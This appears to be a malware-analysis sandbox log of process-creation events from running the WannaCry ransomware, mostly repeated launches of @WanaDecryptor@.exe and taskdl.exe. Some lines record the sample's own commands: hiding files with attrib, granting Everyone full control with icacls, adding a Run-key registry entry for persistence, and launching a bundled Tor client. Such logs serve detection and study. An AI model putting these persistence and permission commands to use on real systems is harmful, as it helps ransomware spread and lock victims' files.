Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Process created: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe TaskData\Tor\taskhsvc.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h .	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 7551728024260.bat	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 7551728024260.bat	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe co	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start /b @WanaDecryptor@.exe vs	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
